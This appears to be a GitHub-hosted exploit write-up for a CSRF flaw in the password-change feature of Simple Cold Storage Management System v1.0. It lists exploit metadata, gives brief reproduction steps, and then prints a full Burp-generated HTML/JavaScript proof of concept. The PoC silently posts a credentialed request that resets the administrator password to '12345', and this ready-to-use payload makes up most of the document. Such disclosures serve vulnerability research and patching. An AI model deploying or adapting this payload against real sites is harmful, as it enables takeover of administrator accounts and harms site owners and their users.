jusstSahil Create POC

History

1 contributor

73 lines (68 sloc) | 3.47 KB

```
# Exploit Title: Simple Cold Storage Management System v1.0 - CSRF ON change password
# Exploit Author: SAHIL PRASAD
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-
# Software Link: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-us
# Version: v1.0
# Tested on: Windows 10, Apache


Description: Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unw

Vulnerable Parameters:
change password

Steps:
1) Login into admin/user account
2) Now Go to profile
3) Now in Parameter password change the password
4) Hit burpsuite and capture the request
5) Generate CSRF poc and expoilt that poc in browser
6) Now got back to the site and log out and login with new password and you will get redirect to t

Payload:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>

    <script>
      function submitRequest()
```

```
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/localhost\/csms\/classes\/Users.php?f=save", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary
        xhr.setRequestHeader("Accept-Language", "en-GB,en-US;q=0.9,en;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
          "Content-Disposition: form-data; name=\"id\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
          "Content-Disposition: form-data; name=\"firstname\"\r\n" +
          "\r\n" +
          "Adminstrator\r\n" +
          "------WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
          "Content-Disposition: form-data; name=\"lastname\"\r\n" +
          "\r\n" +
          "Admin\r\n" +
          "------WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
          "Content-Disposition: form-data; name=\"username\"\r\n" +
          "\r\n" +
          "admin\r\n" +
          "------WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
          "Content-Disposition: form-data; name=\"password\"\r\n" +
          "\r\n" +
          "12345\r\n" +
          "------WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
          "Content-Disposition: form-data; name=\"img\"; filename=\"\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryg5STs5oE1IeCxjQy--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>
```